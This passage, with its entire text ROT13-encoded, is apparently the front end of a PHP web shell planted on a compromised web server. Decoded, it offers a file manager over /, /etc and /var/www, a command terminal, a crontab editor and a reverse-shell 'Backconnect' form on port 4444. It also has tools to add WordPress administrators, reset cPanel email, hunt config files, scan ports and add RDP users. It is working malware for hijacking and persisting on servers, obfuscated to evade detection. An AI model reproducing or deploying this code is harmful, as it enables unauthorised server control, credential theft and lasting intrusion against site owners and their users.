            obeqre-enqvhf: 5ck;
            phefbe: cbvagre;
            sbag-fvmr: 14ck;
            znetva-obggbz: 10ck;
            genafvgvba: onpxtebhaq-pbybe 0.3f;
            jvqgu: 100%;
        }

        .oxx:ubire {
            onpxtebhaq-pbybe: #45n049;
        }

        .oxx:qvfnoyrq {
            onpxtebhaq-pbybe: #pppppp;
            phefbe: abg-nyybjrq;
        }

        .vpba {
            znetva-evtug: 5ck;
        }
        </fglyr>

        <nhqvb vq="zlNhqvb" pbagebyf nhgbcynl ybbc fglyr="qvfcynl: abar;">
            <fbhepr fep="uggcf://w.gbc4gbc.vb/z_3627isjql1.zc3" glcr="nhqvb/zcrt">
        </nhqvb>

        <ohggba pynff="oxx" vq="cynlOga" bapyvpx="cynlNhqvb()">
            <fcna pynff="vpba">▶</fcna> Cynl
        </ohggba>

        <fpevcg>
        pbafg nhqvb = qbphzrag.trgRyrzragOlVq("zlNhqvb");
        pbafg cynlOga = qbphzrag.trgRyrzragOlVq("cynlOga");

        shapgvba cynlNhqvb() {
            vs (nhqvb.cnhfrq) {
                nhqvb.cynl();
                cynlOga.vaareUGZY = '<fcna pynff="vpba">⏸</fcna> Wrqn Zhfvx';
            } ryfr {
                nhqvb.cnhfr();
                cynlOga.vaareUGZY = '<fcna pynff="vpba">▶</fcna> Chgne Zhfvx';
            }
        }

        nhqvb.nqqRiragYvfgrare('raqrq', shapgvba() {
            cynlOga.vaareUGZY = '<fcna pynff="vpba">▶</fcna> Chgne Zhfvx';
        });
        </fpevcg>
        
        <!-- Frffvba Vasb Frpgvba -->
        <qvi pynff="fvqrone-frpgvba">
            <u4><v pynff="snf sn-hfre-fuvryq"></v> Frffvba Vasb</u4>
            <qvi pynff="fvqrone-ohggbaf">
                <qvi pynff="fvqrone-oga" fglyr="onpxtebhaq: eton(52, 152, 219, 0.2);">
                    <v pynff="snf sn-hfre"></v> 
                    <qvi>
                        <fgebat><?cuc rpub ugzyfcrpvnypunef($_FRFFVBA['hfreanzr']); ?></fgebat>
                        <qvi fglyr="sbag-fvmr: 11ck; bcnpvgl: 0.8;">
                            Ybtva: <?cuc rpub qngr('U:v:f', $_FRFFVBA['ybtva_gvzr']); ?>
                        </qvi>
                    </qvi>
                </qvi>
                <n uers="?ybtbhg=gehr" pynff="fvqrone-oga" fglyr="onpxtebhaq: eton(231, 76, 60, 0.2); pbybe: #r74p3p;">
                    <v pynff="snf sn-fvta-bhg-nyg"></v> Ybtbhg
                </n>
            </qvi>
        </qvi>
        
        <qvi pynff="fvqrone-frpgvba">
            <u4><v pynff="snf sn-sbyqre-bcra"></v> Dhvpx Anivtngvba</u4>
            <qvi pynff="fvqrone-ohggbaf">
                <n uers="?qve=<?cuc rpub heyrapbqr($ubzr_qve); ?>" pynff="fvqrone-oga">
                    <v pynff="snf sn-ubzr"></v> Ubzr Qverpgbel
                </n>
                <n uers="?qve=/" pynff="fvqrone-oga">
                    <v pynff="snf sn-uqq"></v> Ebbg Qverpgbel
                </n>
                <n uers="?qve=/rgp" pynff="fvqrone-oga">
                    <v pynff="snf sn-pbtf"></v> /rgp
                </n>
                <n uers="?qve=/gzc" pynff="fvqrone-oga">
                    <v pynff="snf sn-grzc"></v> /gzc
                </n>
                <n uers="?qve=/ine/jjj" pynff="fvqrone-oga">
                    <v pynff="snf sn-tybor"></v> /ine/jjj
                </n>
            </qvi>
        </qvi>
        
        <qvi pynff="fvqrone-frpgvba">
            <u4><v pynff="snf sn-gbbyf"></v> Nqinaprq Gbbyf</u4>
            <qvi pynff="fvqrone-ohggbaf">
                <ohggba bapyvpx="fubjJcHfre()" pynff="fvqrone-oga">
                    <v pynff="snf sn-hfre-cyhf"></v> Nqq JC Hfre
                </ohggba>
                <ohggba bapyvpx="fubjCbegFpnaare()" pynff="fvqrone-oga">
                    <v pynff="snf sn-argjbex-jverq"></v> Cbeg Fpnaare
                </ohggba>
                <ohggba bapyvpx="fubjJrofuryyFpnaare()" pynff="fvqrone-oga">
                    <v pynff="snf sn-fuvryq-nyg"></v> Jrofuryy Fpnaare
                </ohggba>
                <ohggba bapyvpx="fubjOnpxpbaarpg()" pynff="fvqrone-oga">
                    <v pynff="snf sn-cyht"></v> Onpxpbaarpg
                </ohggba>
                <ohggba bapyvpx="fubjPbasvtUhagre()" pynff="fvqrone-oga">
                    <v pynff="snf sn-frnepu"></v> Pbasvt Uhagre
                </ohggba>
                <ohggba bapyvpx="fubjPcnaryErfrg()" pynff="fvqrone-oga">
                    <v pynff="snf sn-flap"></v> Erfrg pCnary
                </ohggba>
                <ohggba bapyvpx="fubjPebagnoZnantre()" pynff="fvqrone-oga">
                    <v pynff="snf sn-pybpx"></v> Znantr Pebagno
                </ohggba>
                <ohggba bapyvpx="fubjEqcZnantre()" pynff="fvqrone-oga">
                    <v pynff="snf sn-qrfxgbc"></v> EQC Znantre
                </ohggba>
            </qvi>
        </qvi>
    </qvi>

    <!-- Znva Pbagrag -->
    <qvi pynff="znva">

        <!-- Flfgrz Vasb -->
        <qvi pynff="flfgrz-vasb">
            <qvi fglyr="qvfcynl: syrk; whfgvsl-pbagrag: fcnpr-orgjrra; nyvta-vgrzf: pragre; syrk-jenc: jenc;">
                <qvi fglyr="qvfcynl: syrk; syrk-jenc: jenc; tnc: 20ck;">
                    <qvi pynff="vasb-ebj">
                        <fcna pynff="vasb-ynory"><v pynff="snf sn-hfre"></v> <fgebat>Hfre:</fgebat></fcna>
                        <fcna pynff="vasb-inyhr"><?cuc rpub @trg_pheerag_hfre(); ?></fcna>
                    </qvi>
                    <qvi pynff="vasb-ebj">
                        <fcna pynff="vasb-ynory"><v pynff="snf sn-pbqr"></v> <fgebat>CUC Irefvba:</fgebat></fcna>
                        <fcna pynff="vasb-inyhr"><?cuc rpub cucirefvba(); ?></fcna>
                    </qvi>
                    <qvi pynff="vasb-ebj">
                        <fcna pynff="vasb-ynory"><v pynff="snf sn-freire"></v> <fgebat>Freire Fbsgjner:</fgebat></fcna>
                        <fcna pynff="vasb-inyhr"><?cuc rpub $_FREIRE['FREIRE_FBSGJNER'] ?? 'A/N'; ?></fcna>
                    </qvi>
                </qvi>
                <qvi pynff="ybtva-vasb">
                    <v pynff="snf sn-hfre-pvepyr"></v>
                    <?cuc rpub ugzyfcrpvnypunef($_FRFFVBA['hfreanzr']); ?>
                    <n uers="?ybtbhg=gehr" pynff="ybtbhg-oga">
                        <v pynff="snf sn-fvta-bhg-nyg"></v> Ybtbhg
                    </n>
                </qvi>
            </qvi>
            <qvi pynff="vasb-ebj">
                <fcna pynff="vasb-ynory"><v pynff="snf sn-qrfxgbc"></v> <fgebat>Ubfganzr:</fgebat></fcna>
                <fcna pynff="vasb-inyhr"><?cuc rpub cuc_hanzr('a'); ?></fcna>
            </qvi>
            <qvi pynff="vasb-ebj">
                <fcna pynff="vasb-ynory"><v pynff="snf sn-zvpebpuvc"></v> <fgebat>Xreary Irefvba:</fgebat></fcna>
                <fcna pynff="vasb-inyhr"><?cuc rpub cuc_hanzr('i'); ?></fcna>
            </qvi>
            <qvi pynff="vasb-ebj">
                <fcna pynff="vasb-ynory"><v pynff="snf sn-argjbex-jverq"></v> <fgebat>Freire VC:</fgebat></fcna>
                <fcna pynff="vasb-inyhr"><?cuc rpub $_FREIRE['FREIRE_NQQE'] ?? $_FREIRE['YBPNY_NQQE'] ?? trgubfgolanzr($_FREIRE['FREIRE_ANZR']) ?? 'A/N'; ?></fcna>
            </qvi>
        </qvi>

        <!-- Oernqpehzo -->
        <qvi pynff="oernqpehzo">
            <qvi pynff="qve-fgnghf <?cuc rpub vf_jevgnoyr_qve($pheerag_qve) ? 'qve-jevgnoyr' : 'qve-ernqbayl'; ?>">
                <v pynff="snf <?cuc rpub vf_jevgnoyr_qve($pheerag_qve) ? 'sn-purpx-pvepyr' : 'sn-rkpynzngvba-pvepyr'; ?>"></v>
                <?cuc rpub vf_jevgnoyr_qve($pheerag_qve) ? 'Jevgnoyr' : 'Ernq Bayl'; ?>
            </qvi>
            <qvi fglyr="qvfcynl: syrk; nyvta-vgrzf: pragre; syrk-jenc: jenc; tnc: 5ck;">
                <fgebat><v pynff="snf sn-sbyqre"></v> Cjq:</fgebat> 
                <?cuc
                $cngu_cnegf = [];
                $grzc_cngu = $pheerag_qve;
                
                juvyr ($grzc_cngu != '.' && $grzc_cngu != '/') {
                    $cngu_cnegf[] = ['anzr' => onfranzr($grzc_cngu), 'cngu' => $grzc_cngu];
                    $grzc_cngu = qveanzr($grzc_cngu);
                }
                $cngu_cnegf[] = ['anzr' => 'Ebbg', 'cngu' => '.'];
                $cngu_cnegf = neenl_erirefr($cngu_cnegf);
                
                sbernpu ($cngu_cnegf nf $vaqrk => $cneg) {
                    vs ($vaqrk > 0) rpub ' <v pynff="snf sn-purieba-evtug" fglyr="sbag-fvmr:10ck;"></v> ';
                    rpub '<n uers="?qve='.heyrapbqr($cneg['cngu']).'" pynff="qve-yvax">'.ugzyfcrpvnypunef($cneg['anzr']).'</n>';
                }
                ?>
            </qvi>
            <n uers="?qve=<?cuc rpub heyrapbqr($ubzr_qve); ?>" pynff="onll"><v pynff="snf sn-ubzr"></v> Ubzr</n>
            <oe><qvi fglyr="sbag-fvmr: 12ck; pbybe: ine(--grkg-frpbaqnel);">
                <fgebat>Pheerag:</fgebat> <?cuc rpub ernycngu($pheerag_qve); ?>
            </qvi>
        </qvi>

        <!-- Gno Pbagnvare -->
        <qvi pynff="gno-pbagnvare">
            <qvi pynff="gno-ohggbaf">
                <ohggba pynff="gno-ohggba npgvir" bapyvpx="fjvgpuGno('svyrZnantre')">
                    <v pynff="snf sn-sbyqre"></v> Svyr Znantre
                </ohggba>
                <ohggba pynff="gno-ohggba" bapyvpx="fjvgpuGno('grezvany')" vq="grezvanyGnoOhggba">
                    <v pynff="snf sn-grezvany"></v> Grezvany
                </ohggba>
                <ohggba pynff="gno-ohggba" bapyvpx="fjvgpuGno('pebagno')">
                    <v pynff="snf sn-pybpx"></v> Pebagno Znantre
                </ohggba>
            </qvi>
            
            <!-- Svyr Znantre Gno -->
            <qvi vq="svyrZnantre" pynff="gno-pbagrag npgvir">
                <!-- Gbbyone -->
                <qvi pynff="gbbyone">
                    <ohggba bapyvpx="fubjHcybnq()" pynff="oga oga-fhpprff">
                        <v pynff="snf sn-hcybnq"></v> Hcybnq Svyr
                    </ohggba>
                    <ohggba bapyvpx="fubjZxqve()" pynff="oga oga-vasb">
                        <v pynff="snf sn-sbyqre-cyhf"></v> Perngr Sbyqre
                    </ohggba>
                    <ohggba bapyvpx="fubjArjSvyr()" pynff="oga oga-jneavat">
                        <v pynff="snf sn-svyr-cyhf"></v> Arj Svyr
                    </ohggba>
                    <ohggba bapyvpx="fubjMvcSvyrf()" pynff="oga oga-cevznel" vq="mvcOga" qvfnoyrq>
                        <v pynff="snf sn-svyr-nepuvir"></v> Mvc Fryrpgrq (<fcna vq="fryrpgrqPbhag">0</fcna>)
                    </ohggba>
                    <ohggba bapyvpx="fubjHamvcSvyr()" pynff="oga oga-frpbaqnel">
                        <v pynff="snf sn-rkcnaq-neebjf-nyg"></v> Hamvc Svyr
                    </ohggba>
                </qvi>

                <!-- Svyr Yvfg -->
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">
                        <v pynff="snf sn-yvfg"></v> Qverpgbel Pbagragf
                    </u3>
                    
                    <qvi pynff="svyr-yvfg" vq="svyrYvfg">
                        <?cuc
                        // Cnerag qverpgbel yvax
                        vs ($pheerag_qve != '.' && $pheerag_qve != '/') {
                            $cnerag = qveanzr($pheerag_qve);
                            $cnerag_jevgnoyr = vf_jevgnoyr_qve($cnerag);
                            rpub '<qvi pynff="svyr-vgrz">
                                <fcna pynff="svyr-anzr">
                                    <fcna pynff="vpba-sbyqre"><v pynff="snf sn-sbyqre"></v></fcna> 
                                    <n uers="?qve='.heyrapbqr($cnerag).'" pynff="qve-yvax">
                                        Cnerag Qverpgbel
                                        ' . (!$cnerag_jevgnoyr ? '<fcna pynff="jevgnoyr-vaqvpngbe jevgnoyr-snyfr" gvgyr="Ernq Bayl"></fcna>' : '') . '
                                    </n>
                                </fcna>
                                <qvi pynff="svyr-npgvbaf">
                                    <fcna pynff="svyr-vasb">QVE</fcna>
                                </qvi>
                            </qvi>';
                        }

                        $svyrf = @fpnaqve($pheerag_qve);
                        vs ($svyrf) {
                            sbernpu ($svyrf nf $svyr) {
                                vs ($svyr == '.' || $svyr == '..') pbagvahr;
                                
                                $shyycngu = $pheerag_qve . '/' . $svyr;
                                $vf_qve = @vf_qve($shyycngu);
                                $vpba = $vf_qve ? '<fcna pynff="vpba-sbyqre"><v pynff="snf sn-sbyqre"></v></fcna>' : '<fcna pynff="vpba-svyr"><v pynff="snf sn-svyr"></v></fcna>';
                                $fvmr = $vf_qve ? '-' : sbezng_fvmr(@svyrfvmr($shyycngu));
                                $crezf = fhofge(fcevags('%b', @svyrcrezf($shyycngu)), -4);
                                $gvzr = @qngr('L-z-q U:v:f', @svyrzgvzr($shyycngu));
                                $perngrq = @qngr('L-z-q U:v:f', @svyrpgvzr($shyycngu));
                                $vf_jevgnoyr = vf_jevgnoyr($shyycngu);
                                
                                rpub '<qvi pynff="svyr-vgrz" qngn-svyr="'.ugzyfcrpvnypunef($svyr).'" qngn-cngu="'.ugzyfcrpvnypunef($shyycngu).'" qngn-glcr="'.($vf_qve ? 'qve' : 'svyr').'">
                                    <fcna pynff="svyr-anzr">'.$vpba.' ';
                                
                                vs ($vf_qve) {
                                    $qve_jevgnoyr = vf_jevgnoyr_qve($shyycngu);
                                    rpub '<n uers="?qve='.heyrapbqr($shyycngu).'" pynff="qve-yvax">'.ugzyfcrpvnypunef($svyr);
                                    vs (!$qve_jevgnoyr) {
                                        rpub ' <fcna pynff="jevgnoyr-vaqvpngbe jevgnoyr-snyfr" gvgyr="Ernq Bayl"></fcna>';
                                    }
                                    rpub '</n>';
                                } ryfr {
                                    rpub ugzyfcrpvnypunef($svyr);
                                    vs (!$vf_jevgnoyr) {
                                        rpub ' <fcna pynff="jevgnoyr-vaqvpngbe jevgnoyr-snyfr" gvgyr="Ernq Bayl"></fcna>';
                                    }
                                }
                                                                            
                                rpub '</fcna>
                                    <qvi pynff="svyr-qrgnvyf">
                                        <qvi pynff="svyr-qrgnvy-vgrz">
                                            <v pynff="snf sn-pnyraqne" fglyr="sbag-fvmr:9ck;"></v>
                                            <fcna>Perngrq: ' . $perngrq . '</fcna>
                                        </qvi>
                                        <qvi pynff="svyr-qrgnvy-vgrz">
                                            <v pynff="snf sn-rqvg" fglyr="sbag-fvmr:9ck;"></v>
                                            <fcna>Zbqvsvrq: ' . $gvzr . '</fcna>
                                        </qvi>
                                        <qvi pynff="svyr-qrgnvy-vgrz">
                                            <v pynff="snf sn-xrl" fglyr="sbag-fvmr:9ck;"></v>
                                            <fcna pynff="svyr-crezvffvba">' . $crezf . '</fcna>
                                        </qvi>
                                    </qvi>
                                    <qvi pynff="svyr-npgvbaf">';
                                    
                                vs (!$vf_qve) {
                                    rpub '<n uers="?npgvba=qbjaybnq&svyr='.heyrapbqr($shyycngu).'&qve='.heyrapbqr($pheerag_qve).'" pynff="oga oga-vasb" gvgyr="Qbjaybnq"><v pynff="snf sn-qbjaybnq"></v> Qbjaybnq</n>
                                          <ohggba bapyvpx="rqvgSvyr(\''.nqqfynfurf($shyycngu).'\')" pynff="oga oga-jneavat" gvgyr="Rqvg" ' . (!$vf_jevgnoyr ? 'qvfnoyrq' : '') . '><v pynff="snf sn-rqvg"></v> Rqvg</ohggba>';
                                }
                                
                                rpub '<ohggba bapyvpx="puzbqSvyr(\''.nqqfynfurf($shyycngu).'\', \''.$crezf.'\')" pynff="oga oga-frpbaqnel" gvgyr="Punatr Crezvffvbaf"><v pynff="snf sn-xrl"></v> Crezvffvbaf</ohggba>
                                      <ohggba bapyvpx="eranzrSvyr(\''.nqqfynfurf($shyycngu).'\')" pynff="oga oga-cevznel" gvgyr="Eranzr" ' . (!$vf_jevgnoyr ? 'qvfnoyrq' : '') . '><v pynff="snf sn-v-phefbe"></v> Eranzr</ohggba>
                                      <ohggba bapyvpx="qryrgrSvyr(\''.nqqfynfurf($shyycngu).'\')" pynff="oga oga-qnatre" gvgyr="Qryrgr" ' . (!$vf_jevgnoyr ? 'qvfnoyrq' : '') . '><v pynff="snf sn-genfu"></v> Qryrgr</ohggba>
                                    </qvi>
                                </qvi>';
                            }
                        } ryfr {
                            rpub '<qvi pynff="svyr-vgrz">Pnaabg ernq qverpgbel pbagragf</qvi>';
                        }
                        
                        ?>
                    </qvi>
                </qvi>
            </qvi>
            
            <!-- Grezvany Gno -->
            <qvi vq="grezvany" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">
                        <v pynff="snf sn-grezvany"></v> Flfgrz Grezvany
                    </u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="pbzznaq-uvfgbel" vq="pbzznaqUvfgbel"></qvi>
                        <qvi pynff="grezvany-bhgchg" vq="grezvanyBhgchg">
                            <qvi fglyr="pbybe: #7s8p8q;">// Grezvany ernql. Glcr pbzznaqf orybj.</qvi>
                        </qvi>
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-obggbz: 10ck;">
                            <vachg glcr="grkg" anzr="pbzznaq" pynff="grezvany-vachg" cynprubyqre="Ragre pbzznaq..." vq="grezvanyVachg">
                            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="rkrphgrPbzznaq()" vq="rkrphgrOga">
                                <v pynff="snf sn-cynl"></v> Rkrphgr
                            </ohggba>
                        </qvi>
                        <qvi fglyr="qvfcynl: syrk; tnc: 5ck; syrk-jenc: jenc;">
                            <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" bapyvpx="pyrneGrezvany()">
                                <v pynff="snf sn-oebbz"></v> Pyrne
                            </ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="vafregPbzzbaPbzznaq('cjq')">cjq</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="vafregPbzzbaPbzznaq('yf -yn')">yf -yn</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="vafregPbzzbaPbzznaq('jubnzv')">jubnzv</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="vafregPbzzbaPbzznaq('vq')">vq</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="vafregPbzzbaPbzznaqJvguQve('yf -yn')">yf -yn (pheerag qve)</ohggba>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>
            
            <!-- Pebagno Znantre Gno -->
            <qvi vq="pebagno" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">
                        <v pynff="snf sn-pybpx"></v> Pebagno Znantre
                    </u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="pebagnoBhgchg" fglyr="urvtug: 50ck;">Ybnqvat pebagno...</qvi>
                        <grkgnern vq="pebagnoPbagrag" fglyr="jvqgu:100%; urvtug:200ck; znetva:10ck 0; sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr; sbag-fvmr: 13ck;" cynprubyqre="Rqvg pebagno pbagrag urer..."></grkgnern>
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck; syrk-jenc: jenc;">
                            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="fnirPebagno()">
                                <v pynff="snf sn-fnir"></v> Fnir Pebagno
                            </ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="ybnqPebagno()">
                                <v pynff="snf sn-flap"></v> Erybnq
                            </ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-jneavat" bapyvpx="nqqPebagnoRknzcyr()">
                                <v pynff="snf sn-cyhf"></v> Nqq Rknzcyr
                            </ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" bapyvpx="pyrnePebagno()">
                                <v pynff="snf sn-renfre"></v> Pyrne
                            </ohggba>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- JbeqCerff Hfre Gno -->
            <qvi vq="jcHfre" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">Nqq JbeqCerff Hfre</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="jcHfreBhgchg" fglyr="urvtug: 100ck;"></qvi>
                        <sbez vq="jcHfreSbez">
                            <vachg glcr="grkg" anzr="jc_pbasvt_cngu" cynprubyqre="Cngu gb jc-pbasvt.cuc (r.t., /ine/jjj/ugzy/jc-pbasvt.cuc)" fglyr="znetva: 10ck 0;">
                            <vachg glcr="grkg" anzr="hfreanzr" cynprubyqre="Hfreanzr" fglyr="znetva: 10ck 0;">
                            <vachg glcr="cnffjbeq" anzr="cnffjbeq" cynprubyqre="Cnffjbeq" fglyr="znetva: 10ck 0;">
                            <vachg glcr="rznvy" anzr="rznvy" cynprubyqre="Rznvy" fglyr="znetva: 10ck 0;">
                            <fryrpg anzr="ebyr" fglyr="znetva: 10ck 0;">
                                <bcgvba inyhr="fhofpevore">Fhofpevore</bcgvba>
                                <bcgvba inyhr="pbagevohgbe">Pbagevohgbe</bcgvba>
                                <bcgvba inyhr="nhgube">Nhgube</bcgvba>
                                <bcgvba inyhr="rqvgbe">Rqvgbe</bcgvba>
                                <bcgvba inyhr="nqzvavfgengbe">Nqzvavfgengbe</bcgvba>
                            </fryrpg>
                            <qvi fglyr="qvfcynl: syrk; tnc: 10ck; znetva-gbc: 20ck;">
                                <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="nqqJcHfre()">Nqq Hfre</ohggba>
                                <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="svaqJcPbasvt()">Svaq jc-pbasvt.cuc</ohggba>
                            </qvi>
                        </sbez>
                    </qvi>
                </qvi>
            </qvi>

            <!-- Cbeg Fpnaare Gno -->
            <qvi vq="cbegFpnaare" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">Cbeg Fpnaare</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="cbegFpnaareBhgchg" fglyr="urvtug: 300ck;"></qvi>
                        <vachg glcr="grkg" vq="fpnaUbfg" cynprubyqre="Ubfg (r.t., ybpnyubfg be VC)" inyhr="ybpnyubfg" fglyr="znetva: 10ck 0;">
                        <vachg glcr="grkg" vq="fpnaCbegf" cynprubyqre="Cbegf (pbzzn frcnengrq)" inyhr="21,22,23,25,53,80,110,115,135,139,143,194,443,445,993,995,1433,3306,3389,5432,5900,6379,27017" fglyr="znetva: 10ck 0;">
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="fpnaCbegf()">Fpna Cbegf</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="dhvpxFpna()">Dhvpx Fpna</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" bapyvpx="qbphzrag.trgRyrzragOlVq('cbegFpnaareBhgchg').vaareUGZY = ''">Pyrne</ohggba>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- Jrofuryy Fpnaare Gno -->
            <qvi vq="jrofuryyFpnaare" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">Jrofuryy Fpnaare</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="jrofuryyFpnaareBhgchg" fglyr="urvtug: 50ck;"></qvi>
                        <vachg glcr="grkg" vq="fpnaCngu" cynprubyqre="Cngu gb fpna (r.t., /ine/jjj)" inyhr="/ine/jjj" fglyr="znetva: 10ck 0;">
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                            <ohggba glcr="ohggba" pynff="oga oga-qnatre" bapyvpx="fpnaJrofuryyf()">Fpna sbe Jrofuryyf</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" bapyvpx="qbphzrag.trgRyrzragOlVq('jrofuryyFpnaareBhgchg').vaareUGZY = ''">Pyrne</ohggba>
                        </qvi>
                        <qvi vq="jrofuryyErfhygf" fglyr="znetva-gbc: 20ck;"></qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- Onpxpbaarpg Gno -->
            <qvi vq="onpxpbaarpg" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">Onpxpbaarpg</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="onpxpbaarpgBhgchg" fglyr="urvtug: 300ck;"></qvi>
                        <vachg glcr="grkg" vq="onpxpbaarpgUbfg" cynprubyqre="Lbhe VC nqqerff" fglyr="znetva: 10ck 0;">
                        <vachg glcr="grkg" vq="onpxpbaarpgCbeg" cynprubyqre="Cbeg" inyhr="4444" fglyr="znetva: 10ck 0;">
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                            <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="fgnegOnpxpbaarpg()">Fgneg Onpxpbaarpg</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="fubjOnpxpbaarpgUryc()">Uryc</ohggba>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- Pbasvt Uhagre Gno -->
            <qvi vq="pbasvtUhagre" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">Pbasvt Svyr Uhagre</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="pbasvtUhagreBhgchg" fglyr="urvtug: 50ck;"></qvi>
                        <vachg glcr="grkg" vq="pbasvtFpnaCngu" cynprubyqre="Cngu gb fpna (r.t., /ine/jjj)" inyhr="/ine/jjj" fglyr="znetva: 10ck 0;">
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="fpnaPbasvtSvyrf()">Fpna Pbasvt Svyrf</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-frpbaqnel" bapyvpx="qbphzrag.trgRyrzragOlVq('pbasvtUhagreBhgchg').vaareUGZY = ''">Pyrne</ohggba>
                        </qvi>
                        <qvi vq="pbasvtErfhygf" fglyr="znetva-gbc: 20ck;"></qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- pCnary Erfrg Gno -->
            <qvi vq="pcnaryErfrg" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">pCnary Erfrg</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="pcnaryErfrgBhgchg" fglyr="urvtug: 50ck;"></qvi>
                        <vachg glcr="rznvy" vq="pcnaryRznvy" cynprubyqre="Arj rznvy nqqerff sbe pCnary" fglyr="znetva: 10ck 0;">
                        <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                            <ohggba glcr="ohggba" pynff="oga oga-jneavat" bapyvpx="erfrgPcnary()">Erfrg pCnary Rznvy</ohggba>
                            <ohggba glcr="ohggba" pynff="oga oga-vasb" bapyvpx="fubjPcnaryUryc()">Uryc</ohggba>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>

            <!-- EQC Znantre Gno -->
            <qvi vq="eqcZnantre" pynff="gno-pbagrag">
                <qvi pynff="frpgvba">
                    <u3 fglyr="znetva-obggbz: 15ck;">EQC Znantre (Jvaqbjf Bayl)</u3>
                    <qvi pynff="grezvany">
                        <qvi pynff="grezvany-bhgchg" vq="eqcZnantreBhgchg" fglyr="urvtug: 100ck;"></qvi>
                        <qvi fglyr="znetva: 15ck 0;">
                            <u4>Nqq EQC Hfre</u4>
                            <vachg glcr="grkg" vq="eqcHfreanzr" cynprubyqre="Hfreanzr" fglyr="znetva: 10ck 0;">
                            <vachg glcr="cnffjbeq" vq="eqcCnffjbeq" cynprubyqre="Cnffjbeq" fglyr="znetva: 10ck 0;">
                            <qvi fglyr="qvfcynl: syrk; tnc: 10ck;">
                                <ohggba glcr="ohggba" pynff="oga oga-fhpprff" bapyvpx="nqqEqcHfre()">Nqq EQC Hfre</ohggba>
                                <ohggba glcr="ohggba" pynff="oga oga-jneavat" bapyvpx="ranoyrEqc()">Ranoyr EQC</ohggba>
                            </qvi>
                        </qvi>
                        <qvi fglyr="znetva: 15ck 0;">
                            <u4>EQC Vasbezngvba</u4>
                            <qvi fglyr="onpxtebhaq: #s8s9sn; cnqqvat: 15ck; obeqre-enqvhf: 5ck; sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr; sbag-fvmr: 12ck;">
                                <fgebat>Freire VC:</fgebat> <?cuc rpub $_FREIRE['FREIRE_NQQE'] ?? $_FREIRE['YBPNY_NQQE'] ?? trgubfgolanzr($_FREIRE['FREIRE_ANZR']) ?? 'A/N'; ?><oe>
                                <fgebat>Qrsnhyg Cbeg:</fgebat> 3389<oe>
                                <fgebat>Abgr:</fgebat> Guvf srngher jbexf bayl ba Jvaqbjf freiref
                            </qvi>
                        </qvi>
                    </qvi>
                </qvi>
            </qvi>
        </qvi>
    </qvi>
</qvi>

<!-- Pbagrkg Zrah -->
<qvi pynff="pbagrkg-zrah" vq="pbagrkgZrah">
    <qvi pynff="pbagrkg-zrah-vgrz" bapyvpx="pbagrkgZrahNpgvba('fryrpg')">
